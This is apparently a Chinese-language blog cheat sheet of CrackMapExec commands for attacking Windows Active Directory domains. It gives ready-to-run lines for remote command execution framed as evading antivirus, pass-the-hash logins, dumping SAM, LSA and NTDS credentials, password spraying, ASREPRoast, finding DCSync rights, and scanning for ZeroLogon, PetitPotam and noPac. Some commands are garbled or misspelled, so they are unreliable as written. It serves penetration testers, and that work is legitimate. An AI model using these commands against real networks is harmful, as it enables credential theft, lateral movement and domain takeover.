提示：文章寫完后，目錄可以自動生成，如何生成可參考右邊的幫助文檔

---

前言

最近接觸到了這款CrackMapExec 域滲透工具，目前使用感覺是挺不錯了，在閱讀了該工具在wiki的使用說明之后把一些平時域中需要常用到的命令學習記錄了下來。

一、CrackMapExec 是什么？

CrackMapExec 也簡稱cme ，是一款內網(wǎng)域滲透的工具，可以對域進行信息收集或者一些常見域漏洞的探測。

二、簡單使用

1、獲取幫助信息

CrackMapExec  -h 獲取幫助信息

可以看到支持使用哪些協(xié)議

通過使用指定的協(xié)議可以獲取進一步的幫助信息

CrackMapExec smb -h 

2、smb連接執(zhí)行命令

-x 通過cmd.exe 執(zhí)行命令
-X 通過cmd.exe 調用執(zhí)行powershell命令
crackmapexec smb 192.168.216.144 -u 'administrator' -p 'pass1234!' -x 'whoami'
或者使用ntlm hash
crackmapexec smb 192.168.216.144 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:ff1a0a31d936bc8bf8b1ffc5b244b356' -x 'whoami'
默認情況下會自動選擇登錄域，-d可以指定域登錄，-x 要執(zhí)行的命令
CME將按以下順序執(zhí)行命令
1.wmiexec：通過WMI執(zhí)行命令
2.atexe：通過Windows任務調度程序調度任務來執(zhí)行命令
3.smbexec：通過創(chuàng)建和運行服務來執(zhí)行命令-X '$PSVersionTable' 使用查看powershell 版本環(huán)境命令 ，--amsi-bypass /path/payload 執(zhí)行powershell

3、使用winrm執(zhí)行命令（躲避殺軟）

身份驗證成功時將顯示（Pwn3d!）

通過winrm執(zhí)行命令很多情況下可以繞過一些殺軟的攔截

crackmapexec wimri 192.168.216.144 -u 'administrator' -p 'pass1234!' -x 'whoami'

4、smb 協(xié)議常用枚舉功能：

crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --groups  枚舉域組crackmapexec smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txt   枚舉不需要smb簽名的主機crackmapexec smb <ip> -u user -p pass -M enum_av   枚舉主機上的殺軟crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!'  --shares 列出共享 crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --sessions 枚舉有效sessionscrackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --disks  列出磁盤crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --loggedon-users 枚舉登錄用戶crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --users 枚舉域用戶crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --rid-brute  通過爆破RID枚舉用戶crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --pass-pol 獲取域密碼策略crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth 驗證本地用戶，并且測試登錄

5、獲取憑證 dump hash

當獲取到高權限的用戶可以使用–sam ,–lsa dump hash

crackmapexec wimri 192.168.216.144 -u 'administrator' -p 'pass1234!'  --sam/--lsa

6、導出域ntds

crackmapexec smb 192.168.216.144 -u 'administrator' -p 'pass1234!' --ntds

7、密碼噴曬

crackmapexec smb 192.168.1.101 -u user1 user2 user3 -p Summer18   多個用戶，一個密碼進行噴曬
crackmapexec smb 192.168.1.101 -u /path/to/users.txt -p Summer18    使用users.txt 用戶列表文件指定多用戶噴曬
crackmapexec smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt   爆破administrator用戶密碼

8、文件上傳、下載

上傳/tmp/whoami.txt 文件到 目標主機 \Windows\Temp\whoami.txt
–put-file

cme smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt   上傳文件

文件下載
–get-file

cme smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt    下載文件

9、檢測主機上是否運行spooler、 webdav 服務

crackmapexec smb <ip> -u 'user' -p 'pass' -M spooler  查看打印機服務
crackmapexec smb <ip> -u 'user' -p 'pass' -M webdav   查看webdav服務

10、枚舉域用戶

cme ldap 192.168.1.0/24 -u users.txt -p '' -k  

11、ASREPRoast

查找不需要 Kerberos 預身份驗證的用戶查找不需要 Kerberos 預身份驗證的用戶
沒有已知域用戶密碼的情況下：

cme ldap 192.168.0.104 -u user.txt -p '' --asreproast output.txt

在擁有域內用戶權限的情況下

cme ldap 192.168.0.104 -u harry -p pass --asreproast output.txt

12、查找非約束委派賬戶

cme ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation

13、檢測ESC8（adcs）漏洞利用

查看adcs服務器

crackmapexec run ldap <ip> -u user -p pass -M adcs

列出證書模板

crackmapexec run ldap <ip> -u user -p pass -M adcs -o SERVER-xxxx

14、通過活動目錄收集子網(wǎng)段信息

crackmapexec ldap <ip> -u <user> -p <pass> -M get-network
crackmapexec ldap <ip> -u <user> -p <pass> -M get-network -o ONLY_HOSTS=true
crackmapexec ldap <ip> -u <user> -p <pass> -M get-network -o ALL=true

15、查看具有DCsync權限用戶

crackmapexec ldap lab-dc.lab.local -k --kdcHost lab-dc.lab.local -M daclread -o TARGET_DN="DC=lab,DC=LOCAL" ACTION=read RIGHTS=DCSync 

16、收集bloodhound 信息

crackmapexec ldap <ip> -u user -p pass --bloodhound --ns ip --collection All

17、通過RDP協(xié)議屏幕截圖

crackmapexec rdp <ip> -u <user> -p <password> --screenshot --screentime 

18、掃描zerologo、petitpotam、nopac漏洞

crackmapexec smb <ip> -u '' -p '' -M zerologo
crackmapexec smb <ip> -u '' -p '' -M petitpotam
crackmapexec smb <ip> -u 'user' -p 'pass' -M nopac

還有其他協(xié)議的使用方法，在此沒有列出